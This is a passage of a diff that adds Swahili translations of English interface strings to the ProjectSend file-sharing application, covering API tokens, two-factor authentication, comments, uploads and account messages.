"These files will be permanently removed from disk. This cannot be undone.": "Mafaili haya yataondolewa kabisa kwenye diski. Hatua hii haiwezi kutenduliwa.", + "Theme": "Mandhari", + "Theme updated.": "Mandhari yamesasishwa.", + "Theming": "Mandhari", + "Theming settings": "Mipangilio ya mandhari", + "This action is unauthorized.": "Kitendo hiki hakijaidhinishwa.", + "This file exceeds the maximum allowed size of :max MB.": "Faili hili linazidi ukubwa wa juu unaoruhusiwa wa MB :max.", + "This folder is empty.": "Folda hii ni tupu.", + "This installation has no administrator yet. Create the first one to get started.": "Usakinishaji huu bado hauna msimamizi. Unda wa kwanza ili kuanza.", + "This is a built-in role; its scope can't be changed.": "Hili ni jukumu la asili; wigo wake hauwezi kubadilishwa.", + "This is a preview of the :theme email theme.": "Hili ni hakikisho la mandhari ya barua pepe :theme.", + "This is a sample email — no notification was actually sent.": "Hii ni barua pepe ya mfano — hakuna arifa iliyotumwa kweli.", + "This is a test email from :site.": "Hii ni barua pepe ya majaribio kutoka :site.", + "This is the last active administrator account.": "Hii ndiyo akaunti ya mwisho ya msimamizi inayotumika.", + "This link cannot match the file's own public URL slug.": "Kiungo hiki hakiwezi kufanana na kitambulisho cha anwani ya umma cha faili lenyewe.", + "This link doesn't exist or has been revoked.": "Kiungo hiki hakipo au kimetenguliwa.", + "This link has expired.": "Kiungo hiki kimeisha muda.", + "This link has reached its download limit.": "Kiungo hiki kimefikia kikomo chake cha vipakuliwa.", + "This password reset link will expire in :count minutes.": "Kiungo hiki cha kuweka upya nenosiri kitaisha baada ya dakika :count..", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Hii huondoa kabisa kila kazi iliyoshindwa kwenye orodha bila kujaribu tena hata moja. Haiwezi kutenduliwa.", + "This role is assigned to accounts and cannot be deleted.": "Jukumu hili limegawiwa kwa akaunti kadhaa, hivyo haliwezi kufutwa.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Jukumu hili huona tu mafaili na folda za wateja hawa, pamoja na yale lililoyapakia lenyewe.", + "This upload would exceed your storage quota of :quota MB.": "Upakiaji huu ungezidi kiasi chako cha hifadhi cha MB :quota.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Dokezo: buruta mafaili na folda hadi kwenye folda au njia ya urambazaji ili kuvihamisha.", + "Title": "Kichwa", + "Title (optional)": "Kichwa (si lazima)", + "TLS": "TLS", + "to": "hadi", + "To": "Kwa", + "Toggle navigation": "Geuza urambazaji", + "Too Early": "Mapema sana", + "Too many files selected. Choose a smaller selection and try again.": "Umechagua mafaili mengi mno. Punguza uteuzi kisha jaribu tena.", + "Too Many Requests": "Maombi Mengi Mno", + "Transactional email settings for this installation": "Mipangilio ya barua pepe za kiutendaji kwa usakinishaji huu", + "Transfers — last 30 days": "Uhamishaji — siku 30 zilizopita", + "Translate": "Tafsiri", + "Translate It": "Itafsiri", + "Turns all transactional email for this installation on or off.": "Huwasha au huzima barua pepe zote za kiutendaji za usakinishaji huu.", + "Two-factor auth": "Uthibitishaji wa hatua mbili", + "Two-factor authentication": "Uthibitishaji wa hatua mbili", + "Two-factor authentication is enabled.": "Uthibitishaji wa hatua mbili umewashwa.", + "Two-factor authentication was disabled": "Uthibitishaji wa hatua mbili umezimwa", + "Two-factor authentication was enabled": "Uthibitishaji wa hatua mbili umewashwa", + "Two-factor recovery codes were regenerated": "Misimbo ya kurejesha ya hatua mbili imetengenezwa upya", + "Type": "Aina", + "Unauthorized": "Isiyoidhinishwa", + "Unavailable For Legal Reasons": "Haipatikani Kwa Sababu za Kisheria", + "Unchanged": "Haijabadilika", + "Unknown Error": "Hitilafu Isiyojulikana", + "Unlimited": "Bila kikomo", + "Unpack": "Fungua", + "Unprocessable Entity": "Huluki Isiyochakatwa", + "Unsubscribe": "Jiondoe", + "Unsupported Media Type": "Aina ya Midia Isiyotumika", + "Up": "Juu", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Hadi MB :max kwa kila faili. Upakiaji unaweza kusimamishwa na huendelea wenyewe baada ya kukatika.", + "Update": "Sasisha", + "Update :name": "Sasisha :name", + "Updated the account \":subject\"": "Amesasisha akaunti \":subject\"", + "Updated the file \":subject\"": "Amesasisha faili \":subject\"", + "Updated the group \":subject\"": "Amesasisha kikundi \":subject\"", + "Updated the role \":subject\"": "Amesasisha jukumu \":subject\"", + "Updated the system settings (:section)": "Amesasisha mipangilio ya mfumo (:section)", + "Updated their profile information": "Amesasisha taarifa za wasifu wake", + "Upgrade Required": "Uboreshaji Unahitajika", + "Upload": "Pakia", + "Upload a file": "Pakia faili", + "Upload files": "Kupakia mafaili", + "Upload public files": "Kupakia mafaili ya umma", + "Upload settings": "Mipangilio ya upakiaji", + "Upload to public folders": "Kupakia kwenye folda za umma", + "Uploaded by": "Amepakia", + "Uploaded the file \":subject\"": "Amepakia faili \":subject\"", + "Uploader": "Mpakiaji", + "Uploads": "Vilivyopakiwa", + "Uploads (chart)": "Vilivyopakiwa (chati)", + "URI Too Long": "URI Mrefu Sana", + "URL slug": "Kitambulisho cha anwani", + "Use a custom link instead of a random one": "Tumia kiungo cha kwako badala ya cha nasibu", + "Use a recovery code": "Tumia msimbo wa kurejesha", + "Use an authentication code": "Tumia msimbo wa uthibitishaji", + "Use Proxy": "Tumia Proksi", + "Use the navigation to get started.": "Tumia menyu ya urambazaji ili kuanza.", + "Used": "Imetumika", + "Used in the public file URL when this file is public.": "Hutumika kwenye anwani ya umma ya faili pale faili hili ni la umma.", + "Used in the public group URL when this group is public.": "Hutumika kwenye anwani ya umma ya kikundi pale kikundi hiki ni cha umma.", + "User": "Mtumiaji", + "User created.": "Mtumiaji ameundwa.", + "User deleted.": "Mtumiaji amefutwa.", + "User updated.": "Mtumiaji amesasishwa.", + "Users": "Watumiaji", + "Username": "Jina la mtumiaji", + "Variant Also Negotiates": "Lahaja Pia Hujadili", + "Verify Email Address": "Thibitisha Anwani ya Barua Pepe", + "Version": "Toleo", + "Version :version": "Toleo :version", + "View": "Tazama", + "View :name": "Tazama :name", + "View all": "Angalia zote", + "View dashboard counters": "Kuona vihesabu vya dashibodi", + "View file": "Angalia faili", + "View news": "Kuona habari", + "View statistics": "Kuona takwimu", + "View system information": "Kuona taarifa za mfumo", + "Visible widgets": "Vipengele vinavyoonekana", + "View the activity log": "Kuona kumbukumbu ya shughuli", + "View your files": "Kuona mafaili yake mwenyewe", + "Visibility": "Uonekanaji", + "Visitors": "Wageni", + "Warning": "Onyo", + "Web Server is Down": "Seva ya Wavuti iko Chini", + "Website": "Tovuti", + "Welcome": "Karibu", + "Welcome to ProjectSend": "Karibu ProjectSend", + "What each kind of account is allowed to do": "Kile kila aina ya akaunti inaruhusiwa kufanya", + "When an account is erased, its files and folders": "Akaunti inapofutwa, mafaili na folda zake", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Ikiwashwa, utaulizwa msimbo salama kutoka simu yako unapoingia.", + "When off, self-registered clients wait in the account requests queue until approved.": "Ikizimwa, wateja waliojisajili wenyewe husubiri kwenye foleni ya maombi ya akaunti hadi waidhinishwe.", + "Where outgoing email is actually sent from.": "Anwani ambayo barua pepe zinazotoka hutumwa kutoka kwake hasa.", + "Whoops!": "Lo!", + "Widgets": "Vipengele", + "Worth including when you report a problem.": "Inafaa kuiweka unaporipoti tatizo.", + "Written by": "Imeandikwa na", + "Yellow": "Njano", + "Yes": "Ndiyo", + "You are commenting too quickly. Try again in a moment.": "Unatoa maoni kwa haraka mno. Jaribu tena baada ya muda mfupi.", + "You are commenting too quickly. Try again in :seconds seconds.": "Unatoa maoni kwa haraka mno. Jaribu tena baada ya sekunde :seconds.", + "You are not a member of any group yet.": "Bado hujawa mwanachama wa kikundi chochote.", + "You are receiving this email because we received a password reset request for your account.": "Unapokea barua pepe hii kwa sababu tulipokea ombi la kuweka upya nenosiri la akaunti yako.", + "You can only share with the clients assigned to you.": "Unaweza kushirikisha na wateja uliogawiwa pekee.", + "You cannot comment on this file.": "Huwezi kutoa maoni kwenye faili hili.", + "You cannot deactivate your own account.": "Huwezi kuzima akaunti yako mwenyewe.", + "You cannot delete your own account.": "Huwezi kufuta akaunti yako mwenyewe.", + "You have no notifications yet.": "Bado huna arifa zozote.", + "You will no longer receive files shared with the group \":name\".": "Hutapokea tena mafaili yanayoshirikishwa na kikundi \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Taarifa za akaunti yako zimebadilishwa hivi karibuni na msimamizi. Wasiliana na msimamizi wako iwapo hukutarajia jambo hili.", + "Your account has been approved": "Akaunti yako imeidhinishwa", + "Your account has been created. You can log in now.": "Akaunti yako imeundwa. Unaweza kuingia sasa.", + "Your account has been deactivated.": "Akaunti yako imezimwa.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Akaunti yako huzimwa mara moja. Baada ya siku :days hufutwa kabisa, pamoja na taarifa zinazokutambulisha kwenye kumbukumbu ya shughuli — hatua hii haiwezi kutenduliwa.", + "Your account request has been approved. You can now log in.": "Ombi lako la akaunti limeidhinishwa. Sasa unaweza kuingia.", + "Your account request has been denied.": "Ombi lako la akaunti limekataliwa.", + "Your account request has been received. You will be able to log in once it is approved.": "Ombi lako la akaunti limepokelewa. Utaweza kuingia mara litakapoidhinishwa.", + "Your account request has not been approved yet.": "Ombi lako la akaunti bado halijaidhinishwa.", + "Your account request was denied": "Ombi lako la akaunti limekataliwa", + "Your account was updated": "Akaunti yako imesasishwa", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Akaunti yako itazimwa sasa na kufutwa kabisa baada ya siku :days. Weka nenosiri lako ili kuthibitisha.", + "Your account will no longer require a second code at login, making it less secure.": "Akaunti yako haitahitaji tena msimbo wa pili unapoingia, hivyo usalama wake utapungua.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Msimamizi wako anahitaji uthibitishaji wa hatua mbili kwenye akaunti hii. Uweke hapa chini ili kuendelea.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Mada na maandishi uliyobadilisha yatatupwa mara moja na kubadilishwa na maandishi ya awali — hatua hii haiwezi kutenduliwa.", + "Your download should start automatically.": "Kipakuliwa chako kinapaswa kuanza chenyewe.", + "Your existing recovery codes will stop working immediately.": "Misimbo yako ya kurejesha iliyopo itaacha kufanya kazi mara moja.", + "Your group membership request was approved": "Ombi lako la uanachama wa kikundi limeidhinishwa", + "Your group membership request was denied": "Ombi lako la uanachama wa kikundi limekataliwa", + "Your groups": "Vikundi vyako", + "Your previous request to this group was declined. You can request again later.": "Ombi lako la awali kwa kikundi hiki lilikataliwa. Unaweza kuomba tena baadaye.", + "Your request to join the group \":group\" has been approved.": "Ombi lako la kujiunga na kikundi \":group\" limeidhinishwa.", + "Your request to join the group \":group\" has been denied.": "Ombi lako la kujiunga na kikundi \":group\" limekataliwa.", + "Your request to join the group \":groupName\" has been approved": "Ombi lako la kujiunga na kikundi \":groupName\" limeidhinishwa", + "Your shared file library": "Maktaba yako ya mafaili yanayoshirikishwa", + "API tokens": "Tokeni za API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Tokeni huruhusu zana ya nje kutenda kwa niaba yako kupitia API, kwa ruhusa unazoipa hapa pekee.", + "Token name": "Jina la tokeni", + "e.g. Zapier": "k.m. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Ipe jina la zana itakayoitumia, ili baadaye ujue unatengua kitu gani.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Tokeni haiwezi kamwe kufanya zaidi ya unavyoweza wewe. Toa tu kile zana inachohitaji — ruhusa zako zikibadilika, tokeni nayo hufuata.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Zimeorodheshwa ruhusa ambazo API inaweza kuzitumia kwa sasa pekee. Nyingine zitajitokeza hapa kadri sehemu mpya za API zinavyotolewa.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Bado hakuna unachoweza kuipa tokeni — hakuna sehemu ya API iliyotolewa hadi sasa inayolingana na ruhusa zako.", + "Select all": "Chagua zote", + "Clear all": "Ondoa uteuzi wote", + "Expires in (days)": "Muda wake huisha baada ya (siku)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Tokeni isiyoisha muda hubaki hai hadi mtu aitengue kwa mkono. Ni afadhali kuchagua tarehe unayoweza kuisahau kwa amani.", + "Create token": "Unda tokeni", + "Copy your token now": "Nakili tokeni yako sasa", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Hii ndiyo mara pekee itakapoonyeshwa. Tunahifadhi alama yake ya siri tu, hivyo haiwezi kurejeshwa baadaye.", + "Copy to clipboard": "Nakili kwenye ubao wa kunakili", + "Copied": "Imenakiliwa", + "Your tokens": "Tokeni zako", + "Revoking a token takes effect immediately.": "Kutengua tokeni huanza kutumika mara moja.", + "You have not created any tokens yet.": "Bado hujaunda tokeni yoyote.", + "Expired": "Imeisha muda", + "Never used": "Haijawahi kutumika", + "Last used :date": "Ilitumika mwisho :date", + "Revoke this token?": "Tengua tokeni hii?", + "Any tool using it will stop working immediately. This cannot be undone.": "Zana yoyote inayoitumia itaacha kufanya kazi mara moja. Hatua hii haiwezi kutenduliwa.", + "This file type is not allowed for upload.": "Aina hii ya faili hairuhusiwi kupakiwa.", + "View the client list": "Kuona orodha ya wateja", + "View the group list": "Kuona orodha ya vikundi", + "Origin": "Chanzo", + "All origins": "Vyanzo vyote", + "Web UI": "Kiolesura cha wavuti", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Hariri tokeni", + "Save token": "Hifadhi tokeni", + "The token is shown once, immediately after it is created, and never again.": "Tokeni huonyeshwa mara moja tu, mara baada ya kuundwa, na kamwe tena.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Tokeni yenyewe haibadiliki. Chochote kinachoitumia tayari huendelea kufanya kazi kwa kile unachoweka hapa.", + "Changing permissions takes effect immediately": "Kubadilisha ruhusa huanza kutumika mara moja", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Tokeni iliyopo hubaki na thamani yake, hivyo chochote kinachoishikilia hupata au hupoteza ruhusa hizi papo hapo. Itengue na uunde mpya iwapo unataka siri mpya.", + "Some permissions no longer apply": "Baadhi ya ruhusa hazitumiki tena", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Tokeni hii bado ina ruhusa ambazo leo hazina athari; ukihifadhi zitaondolewa: :abilities", + "Token updated.": "Tokeni imesasishwa.", + "How external tools can act on this installation on your behalf.": "Jinsi zana za nje zinavyoweza kutenda kwa niaba yako kwenye usakinishaji huu.", + "OpenAPI specification": "Ainisho la OpenAPI", + "Endpoints": "Sehemu za API", + "Method": "Mbinu", + "Tokens": "Tokeni", + "Your tokens and what they have been doing.": "Tokeni zako na kile zilichokuwa zikifanya.", + "Every token on this installation and what it has been doing.": "Kila tokeni ya usakinishaji huu na kile ilichokuwa ikifanya.", + "Show all tokens": "Onyesha tokeni zote", + "Show only mine": "Onyesha zangu pekee", + "Manage tokens": "Simamia tokeni", + "Requests (7 days)": "Maombi (siku 7)", + "Failed (7 days)": "Yaliyoshindwa (siku 7)", + "Median response": "Wastani wa muda wa majibu", + "No requests yet": "Bado hakuna maombi", + ":count expired": ":count zimeisha muda", + "Requests": "Maombi", + "Succeeded": "Yamefanikiwa", + "Failed": "Yameshindwa", + "Request history is kept for :days days.": "Historia ya maombi huhifadhiwa kwa siku :days.", + "Request history is kept indefinitely.": "Historia ya maombi huhifadhiwa bila ukomo.", + "No tokens yet.": "Bado hakuna tokeni.", + "Owner": "Mmiliki", + "Last used": "Ilitumika mwisho", + "History": "Historia", + "Busiest endpoints": "Sehemu za API zenye shughuli nyingi", + "No requests in the last 7 days.": "Hakuna maombi katika siku 7 zilizopita.", + "Recent changes made through the API": "Mabadiliko ya hivi karibuni yaliyofanywa kupitia API", + "Full history": "Historia kamili", + "Nothing has been changed through the API yet.": "Bado hakuna kilichobadilishwa kupitia API.", + "API usage": "Matumizi ya API", + "Open the API dashboard": "Fungua dashibodi ya API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Huna tokeni za API. Unda moja ili kuruhusu zana ya nje itende kwa niaba yako.", + "API request history (days)": "Historia ya maombi ya API (siku)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Muda ambao dashibodi ya API huhifadhi kumbukumbu ya kila ombi. Hii ni historia ya matumizi, si kumbukumbu ya shughuli — hiyo ni njia ya ukaguzi na haifutwi kamwe. Weka 0 ili kuihifadhi bila ukomo.", + "A category was created": "Kategoria imeundwa", + "A category was deleted": "Kategoria imefutwa", + "A category was renamed": "Kategoria imebadilishwa jina", + "A comment was approved": "Maoni yameidhinishwa", + "A comment was deleted": "Maoni yamefutwa", + "A comment was edited": "Maoni yamehaririwa", + "A comment was posted on a file": "Maoni yametolewa kwenye faili", + "A custom asset was created": "Rasilimali maalum imeundwa", + "A custom asset was deleted": "Rasilimali maalum imefutwa", + "A custom asset was disabled": "Rasilimali maalum imezimwa", + "A custom asset was enabled": "Rasilimali maalum imewashwa", + "A custom asset was updated": "Rasilimali maalum imesasishwa", + "A custom field was created": "Sehemu maalum imeundwa", + "A custom field was deleted": "Sehemu maalum imefutwa", + "A custom field was updated": "Sehemu maalum imesasishwa", + "A deleted account's files and folders were deleted": "Mafaili na folda za akaunti iliyofutwa zimefutwa", + "A deleted account's files and folders were reassigned": "Mafaili na folda za akaunti iliyofutwa zimegawiwa upya", + "A file was made private": "Faili limefanywa la binafsi", + "A file was made public": "Faili limefanywa la umma", + "A file was previewed": "Faili limehakikiwa", + "A folder was made private": "Folda imefanywa ya binafsi", + "A folder was made public": "Folda imefanywa ya umma", + "A group was made private": "Kikundi kimefanywa cha binafsi", + "A group was made public": "Kikundi kimefanywa cha umma", + "An API token was created": "Tokeni ya API imeundwa", + "An API token was revoked": "Tokeni ya API imetenguliwa", + "An API token was updated": "Tokeni ya API imesasishwa", + "An expired file was automatically deleted after its retention grace period passed": "Faili lililoisha muda limefutwa kiotomatiki baada ya muda wa neema kupita", + "An orphan file was automatically deleted after its retention grace period passed": "Faili yatima limefutwa kiotomatiki baada ya muda wa neema kupita", + "An upload was cancelled": "Upakiaji umeghairiwa", + "Approved a comment on the file \":subject\"": "Ameidhinisha maoni kwenye faili \":subject\"", + "Cancelled uploading the file \":name\"": "Ameghairi upakiaji wa faili \":name\"", + "Commented on the file \":subject\"": "Ametoa maoni kwenye faili \":subject\"", + "Created the API token \":token_name\"": "Ameunda tokeni ya API \":token_name\"", + "Created the category \":subject\"": "Ameunda kategoria \":subject\"", + "Created the custom asset \":subject\"": "Ameunda rasilimali maalum \":subject\"", + "Created the custom field \":name\"": "Ameunda sehemu maalum \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Amefuta mafaili :files na folda :folders za akaunti iliyofutwa \":name\"", + "Deleted a comment on the file \":subject\"": "Amefuta maoni kwenye faili \":subject\"", + "Deleted the category \":name\"": "Amefuta kategoria \":name\"", + "Deleted the custom asset \":name\"": "Amefuta rasilimali maalum \":name\"", + "Deleted the custom field \":name\"": "Amefuta sehemu maalum \":name\"", + "Deleted the expired file \":name\"": "Amefuta faili lililoisha muda \":name\"", + "Disabled the custom asset \":subject\"": "Amezima rasilimali maalum \":subject\"", + "Edited a comment on the file \":subject\"": "Amehariri maoni kwenye faili \":subject\"", + "Enabled the custom asset \":subject\"": "Amewasha rasilimali maalum \":subject\"", + "Made the file \":subject\" private": "Amefanya faili \":subject\" kuwa la binafsi", + "Made the file \":subject\" public": "Amefanya faili \":subject\" kuwa la umma", + "Made the folder \":subject\" private": "Amefanya folda \":subject\" kuwa ya binafsi", + "Made the folder \":subject\" public": "Amefanya folda \":subject\" kuwa ya umma", + "Made the group \":subject\" private": "Amefanya kikundi \":subject\" kuwa cha binafsi", + "Made the group \":subject\" public": "Amefanya kikundi \":subject\" kuwa cha umma", + "Previewed the file \":subject\"": "Amehakiki faili \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Amegawia upya mafaili :files na folda :folders kutoka akaunti iliyofutwa \":name\" kwenda :target", + "Renamed the category to \":subject\"": "Amebadilisha jina la kategoria kuwa \":subject\"", + "Revoked the API token \":token_name\"": "Ametengua tokeni ya API \":token_name\"", + "Updated the API token \":token_name\"": "Amesasisha tokeni ya API \":token_name\"", + "Updated the custom asset \":subject\"": "Amesasisha rasilimali maalum \":subject\"", + "Updated the custom field \":name\"": "Amesasisha sehemu maalum \":name\"", + "Manage client custom fields": "Kusimamia sehemu maalum za wateja", + "Moderate comments": "Kusimamia maoni", + "Only me": "Mimi pekee", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Huonekana kwa yeyote anayeweza kufungua faili hili, wakiwemo wageni ambao hawajaingia.", + "Anyone, including visitors who are not logged in": "Yeyote, wakiwemo wageni ambao hawajaingia", + "Staff and clients": "Wafanyakazi na wateja", + "Staff only": "Wafanyakazi pekee", + "No files — commenting is off": "Hakuna mafaili — utoaji maoni umezimwa", + "Only files marked as commentable": "Mafaili yaliyoruhusiwa kutolewa maoni pekee", + "Public files only": "Mafaili ya umma pekee", + "Shared files only": "Mafaili yaliyoshirikishwa pekee", + "(blank = inheriting the site default)": "(wazi = hufuata chaguomsingi la tovuti)", + "(blank = unlimited, no site default is set)": "(wazi = bila kikomo, hakuna chaguomsingi la tovuti lililowekwa)", + "(deleted file)": "(faili lililofutwa)", + ":authorName commented on \":fileName\"": ":authorName ametoa maoni kwenye \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName ametoa maoni kwenye \":fileName\" na anasubiri idhini", + ":count comments": "Maoni :count", + ":count file updated.|:count files updated.": "Faili :count limesasishwa.|Mafaili :count yamesasishwa.", + ":count waiting for approval": ":count zinasubiri idhini", + ":guest commented on the file \":subject\"": ":guest ametoa maoni kwenye faili \":subject\"", + ":name — files": ":name — mafaili", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "Mafaili :updated kati ya :requested uliyochagua yamesasishwa. Mengine yameachwa kwa sababu huna ruhusa ya kuyahariri.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Kichwa chenye mvuto kilichojengwa kuzunguka nembo yako — kikiungana na muonekano wa Gallery hutoa kikasha nadhifu chenye sura ya chapa yako.", + "Access": "Ufikiaji", + "Access key": "Ufunguo wa ufikiaji", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Akaunti zinazohusika na mpangilio huu zinaweza kupakia tu mafaili yenye viendelezi vilivyo kwenye orodha inayoruhusiwa hapa chini.", + "A clean, neutral layout that works well for any kind of file sharing.": "Mpangilio safi na wa kawaida unaofaa kwa aina yoyote ya kushirikisha mafaili.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Maoni ya mtu ambaye hajaingia hubaki yamefichwa hadi msimamizi ayaidhinishe.", + "A comment is waiting for approval": "Kuna maoni yanayosubiri idhini", + "Activity history for :name": "Historia ya shughuli za :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Kazi ya kila siku hufuta kabisa mafaili yaliyopita tarehe yao ya mwisho na muda wa neema ulio hapa chini.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Kazi ya kila siku hufuta kabisa mafaili yatima ya ndani yaliyozeeka kuliko muda wa neema ulio hapa chini.", + "Add categories": "Kuongeza kategoria", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Huongeza chaguo la \"Kila mtu\" unapotoa maoni kwenye faili linaloonekana hadharani. Bila hili, maoni hufika kwa watu walioingia pekee.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Orodha iliyosongamana kama lahajedwali inayoonyesha mafaili mengi zaidi kwenye skrini — inafaa kwa makusanyo makubwa na wanaopakia mara kwa mara.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Gridi ya picha inayojaa upana wote iliyotengenezwa kwa kuvinjari kwa macho — chaguo bora kwa wapiga picha na makusanyo yenye picha nyingi.", + "Allow clients to add files to this folder from their portal.": "Ruhusu wateja kuongeza mafaili kwenye folda hii kutoka lango lao.", + "Allow comments on this file": "Ruhusu maoni kwenye faili hili", + "Allowed file extensions": "Viendelezi vya mafaili vinavyoruhusiwa", + "Allow public comments": "Ruhusu maoni ya umma", + "and :count more": "na mengine :count", + "Anonymous": "Asiyejulikana", + "Anonymous downloads": "Vipakuliwa vya wasiojulikana", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Hutumika kwa kila mteja asiye na kiasi chake maalum, wakiwemo waliojisajili wenyewe. Weka 0 ili kusiwe na chaguomsingi (bila kikomo, isipokuwa mteja awe na kikomo chake).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "Ukishaweka kikundi kuwa cha umma, ukurasa wake hufikika daima kupitia kiungo chake — ukurasa huu hudhibiti tu anwani ya msingi na orodha ya hiari inayoonyesha vikundi na mafaili yote ya umma kwa pamoja.", + "A reset link will be sent if the account exists.": "Iwapo akaunti hiyo ipo, kiungo cha kuweka upya kitatumwa.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Mpangilio mpana wenye rangi ulioongozwa na programu za hifadhi ya wingu, wenye alama bayana za aina za mafaili na nafasi za kutosha.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Muundo rahisi na wa kiasi, bila mapambo ya ziada — huungana vizuri na muonekano wa Compact.", + "Auto approve new accounts": "Idhinisha akaunti mpya kiotomatiki", + "Automatically delete expired files": "Futa kiotomatiki mafaili yaliyoisha muda", + "Automatically delete orphan files": "Futa kiotomatiki mafaili yatima", + "A visitor commented on a file": "Mgeni ametoa maoni kwenye faili", + "Awaiting approval": "Inasubiri idhini", + "Back": "Rudi", + "Be careful when changing this list — it can affect the security of this installation.": "Kuwa makini unapobadilisha orodha hii — inaweza kuathiri usalama wa usakinishaji huu.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Wazi = hufuata chaguomsingi la tovuti (kwa sasa MB :default). Weka thamani ili kumpa mteja huyu kikomo chake mwenyewe.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Wazi = bila kikomo (hakuna chaguomsingi la tovuti lililowekwa). Weka thamani ili kumpa mteja huyu kikomo chake mwenyewe.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Rangi za buluu na muundo safi ulioongozwa na programu za hifadhi ya wingu — huungana vizuri na muonekano wa Drive.", + "Branding": "Utambulisho wa chapa", + "Bucket": "Bucket", + "Bulk edit :count files": "Hariri mafaili :count kwa pamoja", + "by": "na", + "Change at least one field before applying a bulk edit.": "Badilisha angalau sehemu moja kabla ya kutumia uhariri wa pamoja.", + "Check for updates": "Angalia masasisho", + "Client access": "Ufikiaji wa wateja", + "Client downloads": "Vipakuliwa vya wateja", + "Clients can register themselves": "Wateja wanaweza kujisajili wenyewe", + "Clients only": "Wateja pekee", + "Comment approved.": "Maoni yameidhinishwa.", + "Comment deleted.": "Maoni yamefutwa.", + "Comments": "Maoni", + "Comments are closed on this file.": "Maoni yamefungwa kwenye faili hili.", + "Comments already written stay readable even if a file stops accepting new ones.": "Maoni yaliyoandikwa tayari hubaki yanasomeka hata kama faili litaacha kupokea mapya.", + "Comments awaiting approval": "Maoni yanayosubiri idhini", + "Comment settings": "Mipangilio ya maoni", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Maoni yaliyoachwa na wageni ambao hawajaingia. Hakuna anayeyaona hadi uyaidhinishe.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Unganisha bucket ya nje inayooana na S3 (AWS S3, MinIO, au huduma nyingine inayooana na S3) kama hifadhi ya mafaili mapya yanayopakiwa.", + "Custom endpoint": "Sehemu maalum ya API", + "Custom field created.": "Sehemu maalum imeundwa.", + "Custom field deleted.": "Sehemu maalum imefutwa.", + "Custom field updated.": "Sehemu maalum imesasishwa.", + "Custom range": "Kipindi maalum", + "Default storage quota (MB)": "Kiasi cha hifadhi cha chaguomsingi (MB)", + "Delete account?": "Futa akaunti hii?", + "Delete failed job?": "Futa kazi iliyoshindwa?", + "Delete them permanently": "Vifute kabisa", + "Delete this comment?": "Futa maoni haya?", + "Delete this many days after being found": "Futa baada ya siku hizi tangu kupatikana", + "Delete this many days after expiry": "Futa baada ya siku hizi tangu kuisha muda", + "Download :name": "Pakua :name", + "Downloaded by": "Amepakua", + "Download history": "Historia ya vipakuliwa", + "Download history for :name": "Historia ya vipakuliwa vya :name", + "Duration": "Muda", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Kila faili lina kitufe cha \"Ruhusu maoni kwenye faili hili\" kwenye ukurasa wake wa kuhariri. Mafaili yenye kitufe hicho kikiwa kimewashwa pekee ndiyo hupokea maoni.", + "edited": "yamehaririwa", + "Editing window (minutes)": "Muda wa kuruhusu kuhariri (dakika)", + "Email settings saved.": "Mipangilio ya barua pepe imehifadhiwa.", + "Error": "Hitilafu", + "Every download, newest first": "Kila kipakuliwa, kipya kwanza", + "Every download across the installation, newest first": "Kila kipakuliwa katika usakinishaji mzima, kipya kwanza", + "Every recorded action, newest first": "Kila kitendo kilichorekodiwa, kipya kwanza", + "Expiration": "Mwisho wa muda", + "Expired :date": "Muda uliisha :date", + "Expired only": "Yaliyoisha muda pekee", + "Extension, e.g. pdf": "Kiendelezi, k.m. 